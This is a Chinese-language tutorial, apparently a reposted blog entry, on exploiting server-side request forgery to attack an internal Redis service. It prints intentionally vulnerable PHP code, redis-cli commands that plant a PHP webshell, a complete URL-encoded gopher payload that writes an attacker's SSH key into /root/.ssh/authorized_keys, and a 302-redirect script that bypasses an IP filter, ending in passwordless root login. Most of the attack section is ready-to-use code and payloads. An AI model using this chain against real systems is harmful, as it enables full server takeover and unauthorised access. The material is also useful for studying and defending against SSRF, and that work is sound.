赞
踩
SSRF(Server Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞,因为求情是由服务器发出的,所以往往是利用SSRF漏洞攻击服务器所在网络内部系统。
SSRF漏洞形成原因是服务器提供了从外部获取数据的功能,但没有对获取数据的目标地址、协议等进行过滤和限制,从而攻击者可以让服务器发起任意请求。
如下是一个简单的SSRF漏洞,对传入的url 没有做任何限制。即可通过向服务器GET发送 内网url、file协议、gopher协议等,从而实现访问外部不能直接访问的服务。
- <?php
- $ch=curl_init(); #初始化 curl 返回curl 句柄
- $url=$_GET['url']; #获取url
- curl_setopt($ch,CURLOPT_URL,$url); #设置相关参数
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- $res=curl_exec($ch); #发出url请求
- curl_close($ch);
- echo $res;
- ?>
Redis是一个远程字典服务、Key-Value数据库,一般运行在内网中,使用者大多将其绑定在127.0.0.1:6379,而且Redis默认是无密码的。攻击者可以通过SSRF漏洞未授权访问内网Redis服务,可任意增、删、查、改其中的数据。因为Redis 一般是root启动的,所以可以利用且特殊身份和其导出功能(config set 可以设置保存路径,config set 可以设置保存文件名)向主机中写入shell脚本、比如写入Crontab(目前只了解到CentOS系统可以利用,Ubuntu 因为权限的问题好像不行)、Webshell、SHH 公钥。
在Redis满足攻击条件的情况下,最重要的一步就是伪造Redis数据,这一步是在本地完成。
在本地安装Redis,用root身份启动Redis-server,利用socat 做端口转发并抓取Redis-cli 和Redis-server通信的数据。
Socat -v tcp-listen:1234,fork tcp-connect:localhost:6379 #端口转发并抓取数据
- redis-cli -p 1234 fushall #清空redis当前库的数据
-
- echo -e "\n\n<?php include(\$_GET['filename']); ?>\n\n" | redis-cli -p 1234 -x set a #写入一个key=value数据 '\n' 是因为在保存redis数据的时候会自动在数据前和后生成一些数据,换行符能让其分离
-
- redis-cli -p 1234 config set dir /var/www/html/ #设置保存路径
-
- redis-cli -p 1234 config set dbfilename shell.php #设置保存文件名
-
- redis-cli -p 1234 save #保存
如下:
删除 '>','<',+OK 数据如下
将“\r”转换为 “%0d”,“\n”转换为“%0a”,“$”转换为“%24” ,将shell数据部分单独URL编码。
将数据用gopher协议发送到目标主机的6379端口即可,
gopher://127.0.0.1:6379/_数据部分
301、302是http请求的状态码,都代表重定向,301代表永久重定向,302代表临时重定向。当返回301是浏览器会记住该网址的跳转地址,当在下次请求该网址是将直接从缓存中取出重定向后的网址进行访问,就跳过了向原网址访问的环节.当返回302时,只是临时重定向,浏览器不会缓存数据。一般攻击者都时利用302重定向。
当浏览器收到的http状态码为302时,将自动从返回的http头中取出Location后的数据作为URL发出请求。但在web服务器中要让服务器自动跟随Location跳转,一般需要设置相关参数,比如php下需要设置如下:
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); # $ch 为curl 句柄 表示会跟随Location 跳转,这里时以递归的形式
用一台阿里云服务器作为漏洞环境,上面有存在SSRF漏洞的web服务、Redis服务、 .ssh目录。
攻击思路:利用web服务上的SSRF漏洞访问在另一台服务器上的302跳转,302跳转的Location 数据为: gopher://127.0.0.1:6379/_[Redis伪造数据],Redis伪造的数据为向 /root/.ssh/保存authorized_keys文件,文件内容为攻击机的SSH公钥。这样攻击机就可通过SSH直接连接漏洞机。
代码:
- <!--index.html代码-->
-
- <!DOCTYPE html>
- <head>
- <meta charset="utf-8">
- </head>
- <form action='index.php' method='get'>
- input url: <input type="text" name="url"><br>
- <input type="submit" value="提交">
- </form>
- # indexp.php 代码
- <?php
- function check_ip($url) #对ip进行限制,现在内网ip
- {
- $match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
- if(!$match_res)
- {
- echo 'url fomat erro';
- exit();
- }
- try
- {
- $url_parse=parse_url($url);
- }
- catch(Exception $e)
- {
- echo 'url fomat error';
- exit();
- }
- $ip=gethostbyname($url_parse['host']);
- echo $ip;
- $ini_ip=ip2long($ip);
- if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
- {
- echo "ip can not inner ip";
- exit();
- }
- }
-
- $ch=curl_init();
- $url=$_GET['url'];
- check_ip($url);
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER); #302调转支持gopher协议
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); #跟随跳转
- $res=curl_exec($ch);
- curl_close($ch);
- echo $res;
-
- ?>
存在 .ssh 文件:
Redis无密码,以root身份运行:
1、访问 http://漏洞机公网ip/index.html
2、伪造Redis数据向 .ssh写入SSH公钥
在kali 的 /root/.ssh/ 下执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:
id_rsa.pub文件里的数据为SSH公钥
用SSH公钥数据伪造Redis数据:
操作和上面的一样只是把上面的php代码换成 这个SSH公钥即可。得到的数据删除 “<”,“>”,“+OK” 后如下:
- *1\r
- $8\r
- flushall\r
- *3\r
- $3\r
- set\r
- $1\r
- 1\r
- $567\r
-
-
- ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE= root@kali
-
-
- \r
- *4\r
- $6\r
- config\r
- $3\r
- set\r
- $3\r
- dir\r
- $11\r
- /root/.ssh/\r
- *4\r
- $6\r
- config\r
- $3\r
- set\r
- $10\r
- dbfilename\r
- $15\r
- authorized_keys\r
- *1\r
- $4\r
- save\r
将“\r”转换为 “%0d”,“\n”转换为“%0a”,“$”转换为“%24” ,将SSH公钥部分用URL编码后如下:
*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A
在自己的服务器上写302 跳转
- # 在另一台自己的服务器上写一个302 重定向的代码
- # index.php 代码
- <?php
- header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
- ?>
kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip
成功无密登录服务机。
SSRF漏洞中绕过对url的检测,方法有,IP进制转换、@符绕过(利用组件解析和之间的差异,例如:parse_url()和curl_exec()之间的差异)、DNS Rebinding(两次独立解析)、302重定向。攻击Redis可以写入crontab(ubuntu和dbain 貌似不行,目前知道centos下是可以的)、webshell 、SSH公钥。302自动跳转对协议有限制,有的比如gopher 默认是不支持跳转的。在伪造Redis 数据的时候注意如果 shell数据中有特殊符号要加“\” 转义,如:“$”。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。